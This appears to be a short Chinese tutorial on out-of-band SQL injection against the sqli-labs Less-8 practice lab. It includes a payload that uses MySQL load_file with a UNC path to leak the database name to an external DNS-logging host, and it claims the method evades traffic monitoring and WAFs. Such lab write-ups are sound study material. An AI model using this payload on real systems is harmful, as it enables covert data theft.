带外通信技术,通常使用在无法直接利用漏洞获得回显的,但目标确实存在漏洞的情况下使用,通过DNS请求就可以把想获得的数据外带出来。
带外通信使用在sql注入的条件如下:
部分文章介绍带外通信时,提及需要设置 secure_auth=ON并且secure_file_priv=’‘。但我在环境实现时发现,只需要设置下secure_file_priv=’‘即可,当然可能时因为版本的问题。我使用的mysql版本如下:
使用的dnslog是用的ceye平台的,自己个人资料中的标识符中的地址就是dns回显地址。
http://x.x.x.x/sqlilabs/Less-8/?id=1' and load_file(concat("//",database(),".dns_log地址/test")) -- -
实践成功。
如此,可以使用带外通信的方法绕过流量监测,过waf。
参考链接
「Burpsuite练兵场」SQL注入之带外通信:http://t.zoukankan.com/ichunqiu-p-13645542.html.
SQL注入(Dns注入):https://blog.youkuaiyun.com/weixin_38237216/article/details/124109790.